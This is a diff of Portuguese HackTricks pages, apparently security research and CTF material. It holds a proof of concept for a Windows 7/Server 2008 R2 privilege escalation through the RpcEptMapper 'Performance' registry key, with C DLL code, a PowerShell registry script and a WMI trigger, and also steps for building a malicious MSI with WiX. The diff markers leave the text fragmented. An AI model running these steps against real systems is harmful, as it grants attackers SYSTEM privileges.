||||||
Primeiro, há uma bela estrutura de árvore que lista todas as chaves e valores que temos que criar. Em seguida, a descrição fornece as seguintes informações chave:
|
|
||||||
|
|
||||||
* O valor `Library` pode conter **um nome de DLL ou um caminho completo para uma DLL**.
|
|
||||||
* Os valores `Open`, `Collect` e `Close` permitem especificar **os nomes das funções** que devem ser exportadas pela DLL.
|
|
||||||
* O tipo de dados desses valores é `REG_SZ` (ou até `REG_EXPAND_SZ` para o valor `Library`).
|
|
||||||
|
|
||||||
Se você seguir os links incluídos neste recurso, até encontrará o protótipo dessas funções junto com alguns exemplos de código: [Implementando OpenPerformanceData](https://docs.microsoft.com/en-us/windows/win32/perfctrs/implementing-openperformancedata).
|
|
||||||
```
|
|
||||||
DWORD APIENTRY OpenPerfData(LPWSTR pContext);
|
|
||||||
DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);
|
|
||||||
DWORD APIENTRY ClosePerfData();
|
|
||||||
```
|
|
||||||
## Escrevendo um Prova de Conceito <a href="#writing-a-proof-of-concept" id="writing-a-proof-of-concept"></a>
|
|
||||||
|
|
||||||
Graças a todos os fragmentos que consegui coletar ao longo da documentação, escrever uma DLL simples de Prova de Conceito deve ser bastante direto. Mas ainda assim, precisamos de um plano!
|
|
||||||
|
|
||||||
Quando preciso explorar algum tipo de vulnerabilidade de hijacking de DLL, geralmente começo com uma função auxiliar de log simples e personalizada. O propósito desta função é escrever algumas informações-chave em um arquivo sempre que for invocada. Normalmente, registro o PID do processo atual e do processo pai, o nome do usuário que executa o processo e a linha de comando correspondente. Também registro o nome da função que desencadeou esse evento de log. Dessa forma, sei qual parte do código foi executada.
|
|
||||||
|
|
||||||
Nos meus outros artigos, sempre pulei a parte de desenvolvimento porque assumi que era mais ou menos óbvio. Mas, também quero que meus posts no blog sejam amigáveis para iniciantes, então há uma contradição. Vou remediar essa situação aqui detalhando o processo. Então, vamos iniciar o Visual Studio e criar um novo projeto "_C++ Console App_". Note que eu poderia ter criado um projeto "_Dynamic-Link Library (DLL)_" mas acho na verdade mais fácil começar com um aplicativo de console.
|
|
||||||
|
|
||||||
Aqui está o código inicial gerado pelo Visual Studio:
|
|
||||||
```c
|
|
||||||
#include <iostream>
|
|
||||||
|
|
||||||
int main()
|
|
||||||
{
|
|
||||||
std::cout << "Hello World!\n";
|
|
||||||
}
|
|
||||||
```
|
|
||||||
Claro, isso não é o que queremos. Queremos criar uma DLL, não um EXE, então temos que substituir a função `main` por `DllMain`. Você pode encontrar um código esqueleto para esta função na documentação: [Inicializar uma DLL](https://docs.microsoft.com/en-us/cpp/build/run-time-library-behavior#initialize-a-dll).
|
|
||||||
```c
|
|
||||||
#include <Windows.h>
|
|
||||||
|
|
||||||
extern "C" BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved)
|
|
||||||
{
|
|
||||||
switch (reason)
|
|
||||||
{
|
|
||||||
case DLL_PROCESS_ATTACH:
|
|
||||||
Log(L"DllMain"); // See log helper function below
|
|
||||||
break;
|
|
||||||
case DLL_THREAD_ATTACH:
|
|
||||||
break;
|
|
||||||
case DLL_THREAD_DETACH:
|
|
||||||
break;
|
|
||||||
case DLL_PROCESS_DETACH:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
Em paralelo, também precisamos alterar as configurações do projeto para especificar que o arquivo compilado de saída deve ser uma DLL em vez de um EXE. Para fazer isso, você pode abrir as propriedades do projeto e, na seção "**General**", selecionar "**Dynamic Library (.dll)**" como o "**Configuration Type**". Logo abaixo da barra de título, você também pode selecionar "**All Configurations**" e "**All Platforms**" para que essa configuração seja aplicada globalmente.
|
|
||||||
|
|
||||||
Em seguida, adiciono minha função de ajuda de log personalizada.
|
|
||||||
```c
|
|
||||||
#include <Lmcons.h> // UNLEN + GetUserName
|
|
||||||
#include <tlhelp32.h> // CreateToolhelp32Snapshot()
|
|
||||||
#include <strsafe.h>
|
|
||||||
|
|
||||||
void Log(LPCWSTR pwszCallingFrom)
|
|
||||||
{
|
|
||||||
LPWSTR pwszBuffer, pwszCommandLine;
|
|
||||||
WCHAR wszUsername[UNLEN + 1] = { 0 };
|
|
||||||
SYSTEMTIME st = { 0 };
|
|
||||||
HANDLE hToolhelpSnapshot;
|
|
||||||
PROCESSENTRY32 stProcessEntry = { 0 };
|
|
||||||
DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0;
|
|
||||||
BOOL bResult = FALSE;
|
|
||||||
|
|
||||||
// Get the command line of the current process
|
|
||||||
pwszCommandLine = GetCommandLine();
|
|
||||||
|
|
||||||
// Get the name of the process owner
|
|
||||||
GetUserName(wszUsername, &dwPcbBuffer);
|
|
||||||
|
|
||||||
// Get the PID of the current process
|
|
||||||
dwProcessId = GetCurrentProcessId();
|
|
||||||
|
|
||||||
// Get the PID of the parent process
|
|
||||||
hToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
|
||||||
stProcessEntry.dwSize = sizeof(PROCESSENTRY32);
|
|
||||||
if (Process32First(hToolhelpSnapshot, &stProcessEntry)) {
|
|
||||||
do {
|
|
||||||
if (stProcessEntry.th32ProcessID == dwProcessId) {
|
|
||||||
dwParentProcessId = stProcessEntry.th32ParentProcessID;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
} while (Process32Next(hToolhelpSnapshot, &stProcessEntry));
|
|
||||||
}
|
|
||||||
CloseHandle(hToolhelpSnapshot);
|
|
||||||
|
|
||||||
// Get the current date and time
|
|
||||||
GetLocalTime(&st);
|
|
||||||
|
|
||||||
// Prepare the output string and log the result
|
|
||||||
dwBufSize = 4096 * sizeof(WCHAR);
|
|
||||||
pwszBuffer = (LPWSTR)malloc(dwBufSize);
|
|
||||||
if (pwszBuffer)
|
|
||||||
{
|
|
||||||
StringCchPrintf(pwszBuffer, dwBufSize, L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'\r\n",
|
|
||||||
st.wHour,
|
|
||||||
st.wMinute,
|
|
||||||
st.wSecond,
|
|
||||||
dwProcessId,
|
|
||||||
dwParentProcessId,
|
|
||||||
wszUsername,
|
|
||||||
pwszCommandLine,
|
|
||||||
pwszCallingFrom
|
|
||||||
);
|
|
||||||
|
|
||||||
LogToFile(L"C:\\LOGS\\RpcEptMapperPoc.log", pwszBuffer);
|
|
||||||
|
|
||||||
free(pwszBuffer);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
Então, podemos preencher a DLL com as três funções que vimos na documentação. A documentação também afirma que elas devem retornar `ERROR_SUCCESS` se forem bem-sucedidas.
|
|
||||||
```c
|
|
||||||
DWORD APIENTRY OpenPerfData(LPWSTR pContext)
|
|
||||||
{
|
|
||||||
Log(L"OpenPerfData");
|
|
||||||
return ERROR_SUCCESS;
|
|
||||||
}
|
|
||||||
|
|
||||||
DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned)
|
|
||||||
{
|
|
||||||
Log(L"CollectPerfData");
|
|
||||||
return ERROR_SUCCESS;
|
|
||||||
}
|
|
||||||
|
|
||||||
DWORD APIENTRY ClosePerfData()
|
|
||||||
{
|
|
||||||
Log(L"ClosePerfData");
|
|
||||||
return ERROR_SUCCESS;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
```markdown
|
|
||||||
Ok, o projeto agora está devidamente configurado, `DllMain` está implementado, temos uma função auxiliar de log e as três funções necessárias. No entanto, falta uma última coisa. Se compilarmos este código, `OpenPerfData`, `CollectPerfData` e `ClosePerfData` estarão disponíveis apenas como funções internas, então precisamos **exportá-las**. Isso pode ser alcançado de várias maneiras. Por exemplo, você poderia criar um arquivo [DEF](https://docs.microsoft.com/en-us/cpp/build/exporting-from-a-dll-using-def-files) e depois configurar o projeto adequadamente. No entanto, prefiro usar a palavra-chave `__declspec(dllexport)` ([doc](https://docs.microsoft.com/en-us/cpp/build/exporting-from-a-dll-using-declspec-dllexport)), especialmente para um projeto pequeno como este. Dessa forma, só temos que declarar as três funções no início do código-fonte.
|
|
||||||
```
|
|
||||||
```c
|
|
||||||
extern "C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);
|
|
||||||
extern "C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);
|
|
||||||
extern "C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();
|
|
||||||
```
|
|
||||||
Se você quiser ver o código completo, eu o enviei [aqui](https://gist.github.com/itm4n/253c5937f9b3408b390d51ac068a4d12).
|
|
||||||
|
|
||||||
Finalmente, podemos selecionar _**Release/x64**_ e "_**Compilar a solução**_". Isso produzirá nosso arquivo DLL: `.\DllRpcEndpointMapperPoc\x64\Release\DllRpcEndpointMapperPoc.dll`.
|
|
||||||
|
|
||||||
## Testando o PoC <a href="#testing-the-poc" id="testing-the-poc"></a>
|
|
||||||
|
|
||||||
Antes de prosseguir, eu sempre me certifico de que meu payload está funcionando corretamente, testando-o separadamente. O pouco tempo gasto aqui pode economizar muito tempo depois, evitando que você entre em um beco sem saída durante uma hipotética fase de depuração. Para fazer isso, podemos simplesmente usar `rundll32.exe` e passar o nome da DLL e o nome de uma função exportada como parâmetros.
|
|
||||||
```
|
|
||||||
C:\Users\lab-user\Downloads\>rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData
|
|
||||||
```
|
|
||||||
Ótimo, o arquivo de log foi criado e, se o abrirmos, podemos ver duas entradas. A primeira foi escrita quando a DLL foi carregada pelo `rundll32.exe`. A segunda foi escrita quando `OpenPerfData` foi chamado. Parece bom! ![:slightly_smiling_face:](https://github.githubassets.com/images/icons/emoji/unicode/1f642.png)
|
|
||||||
```
|
|
||||||
[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='DllMain'
|
|
||||||
[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='OpenPerfData'
|
|
||||||
```
|
|
||||||
Agora, podemos nos concentrar na vulnerabilidade em si e começar criando a chave de registro e os valores necessários. Podemos fazer isso manualmente usando `reg.exe` / `regedit.exe` ou programaticamente com um script. Como já passei pelos passos manuais durante minha pesquisa inicial, mostrarei uma maneira mais limpa de fazer a mesma coisa com um script PowerShell. Além disso, criar chaves e valores de registro no PowerShell é tão fácil quanto chamar `New-Item` e `New-ItemProperty`, não é mesmo? ![:thinking:](https://github.githubassets.com/images/icons/emoji/unicode/1f914.png)
|
|
||||||
|
|
||||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/10\_powershell-new-item-access-denied.png)
|
|
||||||
|
|
||||||
`O acesso solicitado ao registro não é permitido`… Hmm, ok… Parece que não será tão fácil, afinal de contas. ![:stuck\_out\_tongue:](https://github.githubassets.com/images/icons/emoji/unicode/1f61b.png)
|
|
||||||
|
|
||||||
Eu não investiguei realmente esse problema, mas meu palpite é que, quando chamamos `New-Item`, o `powershell.exe` na verdade tenta abrir a chave de registro pai com algumas flags que correspondem a permissões que não temos.
|
|
||||||
|
|
||||||
De qualquer forma, se os cmdlets integrados não fizerem o trabalho, podemos sempre descer um nível e invocar funções DotNet diretamente. De fato, chaves de registro também podem ser criadas com o seguinte código no PowerShell.
|
|
||||||
```
|
|
||||||
[Microsoft.Win32.Registry]::LocalMachine.CreateSubKey("SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance")
|
|
||||||
```
|
|
||||||
```markdown
|
|
||||||
Aqui vamos nós! No final, montei o seguinte script para criar a chave e os valores apropriados, aguardar a entrada do usuário e, finalmente, terminar limpando tudo.
|
|
||||||
```
|
|
||||||
```
|
|
||||||
$ServiceKey = "SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance"
|
|
||||||
|
|
||||||
Write-Host "[*] Create 'Performance' subkey"
|
|
||||||
[void] [Microsoft.Win32.Registry]::LocalMachine.CreateSubKey($ServiceKey)
|
|
||||||
Write-Host "[*] Create 'Library' value"
|
|
||||||
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Value "$($pwd)\DllRpcEndpointMapperPoc.dll" -PropertyType "String" -Force | Out-Null
|
|
||||||
Write-Host "[*] Create 'Open' value"
|
|
||||||
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Value "OpenPerfData" -PropertyType "String" -Force | Out-Null
|
|
||||||
Write-Host "[*] Create 'Collect' value"
|
|
||||||
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Value "CollectPerfData" -PropertyType "String" -Force | Out-Null
|
|
||||||
Write-Host "[*] Create 'Close' value"
|
|
||||||
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Value "ClosePerfData" -PropertyType "String" -Force | Out-Null
|
|
||||||
|
|
||||||
Read-Host -Prompt "Press any key to continue"
|
|
||||||
|
|
||||||
Write-Host "[*] Cleanup"
|
|
||||||
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Force
|
|
||||||
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Force
|
|
||||||
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Force
|
|
||||||
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Force
|
|
||||||
[Microsoft.Win32.Registry]::LocalMachine.DeleteSubKey($ServiceKey)
|
|
||||||
```
|
|
||||||
O último passo agora, **como enganamos o serviço RPC Endpoint Mapper para carregar nossa DLL de Performance?** Infelizmente, não acompanhei todas as diferentes coisas que tentei. Teria sido realmente interessante, no contexto deste post do blog, destacar como a pesquisa pode ser às vezes tediosa e demorada. De qualquer forma, uma coisa que descobri ao longo do caminho é que você pode consultar _Contadores de Desempenho_ usando WMI (_Windows Management Instrumentation_), o que não é tão surpreendente afinal. Mais informações aqui: [_Tipos de Contador de Desempenho WMI_](https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-performance-counter-types).
|
|
||||||
|
|
||||||
> _Os tipos de contadores aparecem como o qualificador CounterType para propriedades nas classes_ [_Win32\_PerfRawData_](https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-perfrawdata) _, e como o qualificador CookingType para propriedades nas classes_ [_Win32\_PerfFormattedData_](https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-perfformatteddata) _._
|
|
||||||
|
|
||||||
Então, primeiramente enumerei as classes WMI relacionadas a _Dados de Desempenho_ no PowerShell usando o seguinte comando.
|
|
||||||
```
|
|
||||||
Get-WmiObject -List | Where-Object { $_.Name -Like "Win32_Perf*" }
|
|
||||||
```
|
|
||||||
E, vi que meu arquivo de log foi criado quase imediatamente! Aqui está o conteúdo do arquivo.
|
|
||||||
```
|
|
||||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='DllMain'
|
|
||||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='OpenPerfData'
|
|
||||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
|
||||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
|
||||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
|
||||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
|
||||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
|
||||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
|
||||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
|
||||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
|
||||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
|
||||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
|
||||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
|
||||||
```
|
|
||||||
Esperava conseguir execução arbitrária de código como `NETWORK SERVICE` no contexto do serviço `RpcEptMapper` no máximo, mas parece que obtive um resultado muito melhor do que o antecipado. Na verdade, consegui execução arbitrária de código no contexto do próprio serviço `WMI`, que é executado como `LOCAL SYSTEM`. Incrível, não é?! ![:sunglasses:](https://github.githubassets.com/images/icons/emoji/unicode/1f60e.png)
|
|
||||||
|
|
||||||
> **Nota:** se eu tivesse conseguido execução arbitrária de código como `NETWORK SERVICE`, estaria apenas a um token de distância da conta `LOCAL SYSTEM` graças ao truque que foi demonstrado por James Forshaw alguns meses atrás neste post do blog: [Sharing a Logon Session a Little Too Much](https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html).
|
|
||||||
|
|
||||||
Também tentei obter cada classe WMI separadamente e observei exatamente o mesmo resultado.
|
|
||||||
```
|
|
||||||
Get-WmiObject Win32_Perf
|
|
||||||
Get-WmiObject Win32_PerfRawData
|
|
||||||
Get-WmiObject Win32_PerfFormattedData
|
|
||||||
```
|
|
||||||
## Conclusão <a href="#conclusion" id="conclusion"></a>
|
|
||||||
|
|
||||||
Não sei como essa vulnerabilidade passou despercebida por tanto tempo. Uma explicação é que outras ferramentas provavelmente procuravam por acesso total de escrita no registro, enquanto que `AppendData/AddSubdirectory` era na verdade suficiente neste caso. Quanto à "má configuração" em si, eu assumiria que a chave de registro foi definida dessa maneira por um propósito específico, embora eu não consiga pensar em um cenário concreto no qual os usuários teriam qualquer tipo de permissão para modificar a configuração de um serviço.
|
|
||||||
|
|
||||||
Decidi escrever sobre essa vulnerabilidade publicamente por dois motivos. O primeiro é que eu a tornei pública - sem inicialmente perceber - no dia em que atualizei meu script PrivescCheck com a função `GetModfiableRegistryPath`, o que foi há vários meses. O segundo é que o impacto é baixo. Requer acesso local e afeta apenas versões antigas do Windows que não são mais suportadas (a menos que você tenha comprado o Suporte Estendido...). Neste ponto, se você ainda está usando Windows 7 / Server 2008 R2 sem isolar essas máquinas adequadamente na rede primeiro, então impedir que um atacante obtenha privilégios de SYSTEM é provavelmente o menor dos seus problemas.
|
|
||||||
|
|
||||||
Além do lado anedótico dessa vulnerabilidade de escalonamento de privilégios, acho que essa configuração de registro "Perfomance" abre oportunidades realmente interessantes para pós-exploração, movimento lateral e evasão de AV/EDR. Já tenho alguns cenários particulares em mente, mas ainda não testei nenhum deles. Continuará?...
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -7,16 +7,18 @@ Outras formas de apoiar o HackTricks:
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
# Criando MSI Malicioso e Obtendo Root
|
||||||
|
|
||||||
**Tutorial copiado de** [**https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root**](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)\
|
A criação do instalador MSI será feita usando wixtools, especificamente [wixtools](http://wixtoolset.org) será utilizado. Vale mencionar que outros construtores de MSI foram tentados, mas não foram bem-sucedidos neste caso específico.
|
||||||
Para criar o msi, usaremos [wixtools](http://wixtoolset.org), você pode usar outros construtores de msi, mas eles não funcionaram para mim.\
|
|
||||||
Confira [esta página](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with) para alguns exemplos de uso do wix msi.\
|
Para um entendimento abrangente dos exemplos de uso do wix MSI, é aconselhável consultar [esta página](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with). Aqui, você pode encontrar vários exemplos que demonstram o uso do wix MSI.
|
||||||
Vamos criar um msi que executa nosso arquivo lnk:
|
|
||||||
|
O objetivo é gerar um MSI que executará o arquivo lnk. Para alcançar isso, o seguinte código XML poderia ser empregado ([xml daqui](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)):
|
||||||
```markup
|
```markup
|
||||||
<?xml version="1.0"?>
|
<?xml version="1.0"?>
|
||||||
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
|
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
|
||||||
|
@ -48,16 +50,28 @@ fail_here
|
||||||
</Product>
|
</Product>
|
||||||
</Wix>
|
</Wix>
|
||||||
```
|
```
|
||||||
Vamos usar `candle.exe` do wixtools para criar um wixobject a partir de `msi.xml`
|
```markdown
|
||||||
```markup
|
É importante notar que o elemento Package contém atributos como InstallerVersion e Compressed, especificando a versão do instalador e indicando se o pacote está comprimido ou não, respectivamente.
|
||||||
|
|
||||||
|
O processo de criação envolve a utilização do candle.exe, uma ferramenta do wixtools, para gerar um wixobject a partir do msi.xml. O seguinte comando deve ser executado:
|
||||||
|
```
|
||||||
|
```
|
||||||
candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
|
candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
|
||||||
```
|
```
|
||||||
Então usaremos `light.exe` para criar o arquivo msi a partir do wixobject:
|
Além disso, vale mencionar que uma imagem é fornecida no post, que retrata o comando e seu resultado. Você pode se referir a ela para orientação visual.
|
||||||
```markup
|
|
||||||
|
Ademais, light.exe, outra ferramenta do wixtools, será utilizada para criar o arquivo MSI a partir do wixobject. O comando a ser executado é o seguinte:
|
||||||
|
```
|
||||||
light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
|
light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
|
||||||
```
|
```
|
||||||
```markdown
|
Semelhante ao comando anterior, uma imagem é incluída no post ilustrando o comando e seu resultado.
|
||||||
![](https://0xrick.github.io/images/hackthebox/ethereal/66.png)
|
|
||||||
|
Observe que, embora este resumo vise fornecer informações valiosas, é recomendável consultar o post original para obter detalhes mais abrangentes e instruções precisas.
|
||||||
|
|
||||||
|
# Referências
|
||||||
|
* [https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)
|
||||||
|
* [https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with)
|
||||||
|
[wixtools](http://wixtoolset.org)
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
@ -70,7 +84,6 @@ Outras formas de apoiar o HackTricks:
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
```
|
|
||||||
|
|
|
@ -8,182 +8,26 @@
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
